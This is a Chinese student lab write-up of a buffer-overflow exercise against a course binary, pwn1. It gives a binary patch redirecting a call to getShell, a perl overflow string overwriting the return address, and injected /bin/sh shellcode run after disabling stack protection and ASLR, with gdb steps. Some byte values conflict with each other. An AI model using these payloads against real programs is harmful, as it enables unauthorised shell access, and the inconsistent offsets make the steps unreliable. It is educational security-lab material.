2018-2019-2 20165212《网络对抗技术》Exp1 PC平台逆向破解

2018-2019-2 20165212《网络对抗技术》Exp1  缓冲区溢出实验

实验点1：逆向及Bof基础实践

实践任务

用一个pwn1文件。 该程序正常执行流程是：main调用foo函数,foo函数会回显任何用户输入的字符串。 该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不被运行的。实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

三个实践内容：

• 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
• 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
• 注入一个自己制作的shellcode并运行这段shellcode。 这几种思路，基本代表现实情况中的攻击目标: 运行原本不可访问的代码片段 强行修改程序执行流 以及注入运行任意代码。

基础知识

• NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90）
  • JNE：条件转移指令，如果不相等则跳转。（机器码：75） -JE：条件转移指令，如果相等则跳转。（机器码：74）
  • JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB） 段内直接近转移Jmp near（机器码：E9） 段内间接转移 Jmp word（机器码：FF） 段间直接(远)转移Jmp far（机器码：EA）
  • CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
• 常用的Linux基本操作
  • objdump -d：从objfile中反汇编那些特定指令机器码的section。
  • perl -e：后面紧跟单引号括起来的字符串，表示在命令行要执行的命令。
  • xxd：为给定的标准输入或者文件做一次十六进制的输出，它也可以将十六进制输出转换为原来的二进制格式。 -ps -ef：显示所有进程，并显示每个进程的UID,PPIP,C与STIME栏位。
  • |：管道，将前者的输出作为后者的输入。
  • >：输入输出重定向符，将前者输出的内容输入到后者中

实验步骤：

• 用 objdump -d pwn1 看其汇编代码（图中是pwn3，做完了写博客截图用）

e8表示“call”，后面的d7 ff ff ff是要跳转的地址，只要改成e3 ff ff ff就会跳到getShell函数（通过偏移量得出）。

修改步骤：

• vim pwn1 进入命令模式
• 输入 :%!xxd 将显示模式切换为十六进制
• 在底行模式输入/e8d7定位需要修改的地方，并确认
• 进入插入模式，修改d7为c3
• 输入 :%!xxd -r
• 将十六进制转换为原格式
• 使用 :wq 保存并退出 然后 ./pwn1 运行就可以了
• 

实验点2：自己构造输入参数使缓冲区溢出，参数溢出部分为getShell函数的地址

系统读入字符串留32字节缓冲区，输入超过32字节就会溢出，就用溢出的部分去覆盖返回地址

• 思路：

  • 反汇编pwn1文件找到getShell的地址：0804847d
  • 输入参数，使32字节后面内容为地址0804847d对应的数
  • 执行文件

• 步骤：

  • （已知getshell地址为0804847d，都一样）
  • perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input  生成一个input文件，参数已经构造好的
  • xxd input  可以查看构造的文件.
  • (cat input; cat) | ./pwn1  命令输入参数

实验点3：注入shellcode并执行（RNS)

首先使用 apt-get install execstack 命令安装execstack。 然后接连输入：

root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行 X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomizevaspace 

root@KaliYL:~# echo "" > /proc/sys/kernel/
randomizevaspace //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomizevaspace

目标：向foo函数输入参数，造成缓冲区溢出，改变foo的返回地址，，跳到shellcode。也就是，找到foo函数的返回的地址，将其改成shellcode开始的地址 步骤：

　　- 使用命令 　　perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode  注入，前面32个A用来填满buf，\x04\x03\x02\x01为预留的返回地址，下面找这个返回地址。

• 在一个终端里用 (cat input_shellcode;cat) | ./pwn1 注入这段攻击，回车后不要动这个终端，然后去打开另一个终端。

• 在第二个终端中

  • ps -ef | grep pwn 查看pwn进程号
  • 用gdb， attach  去调试这个进程
  • disassemble foo 命令反汇编，通过设置断点，来查看注入buf的内存地址：
  • 用 break *0x080484ae 命令设置断点，输入c命令(continue)继续运行，同时在pwn1进程正在运行的终端敲回车，使其继续执行。再返回调试终端，使用info r esp命令查找地址
  • 用x/16x 0xffffd2ac命令查看其存放内容，看到了0x01020304，就是返回地址的位置。根据我们构造的input_shellcode可知，shellcode就在其后，所以地址应为0xffffd2b0
  • 接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可，用命令 perl -e 'print "A" x 32;print "\xb0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
  • 再用 (cat input_shellcode;cat) | ./pwn1 命令次执行程序，攻击成功！

遇到的问题

1.命令行中的文件图形化界面中找不到

• 在命令行中用 nautilus /xxx  去打开终端中能看到而图形化界面中找不到的文件夹。

2.进程锁

感想

这次在参考学长博客下完成，我边做边思考：第二个实验点和第三个实验点有什么区别？思考结果：同样都是注入参数覆盖缓冲区，使溢出部分跳到shell，并且没有自己写shellcode，因此我觉得后面两个任务一样。 应该是我对这两个概念还没完全理解吧。 本次实验就是把课上老师描绘的过程自己照着教程做一遍。

什么是漏洞，漏洞的危害？

答：漏洞是软件或者硬件设计上的缺陷。比如，芯片里的电路 逻辑不严谨没有考虑边界值、计算机系统的缓冲区溢出漏洞，DES算法被差分攻击等。。。

危害：可能会被他人（未授权的任）获得信息，从而引发更大的危害，可能电脑被植入木马病毒，自己的电脑被他人控制，泄露机密，使自身利益受损。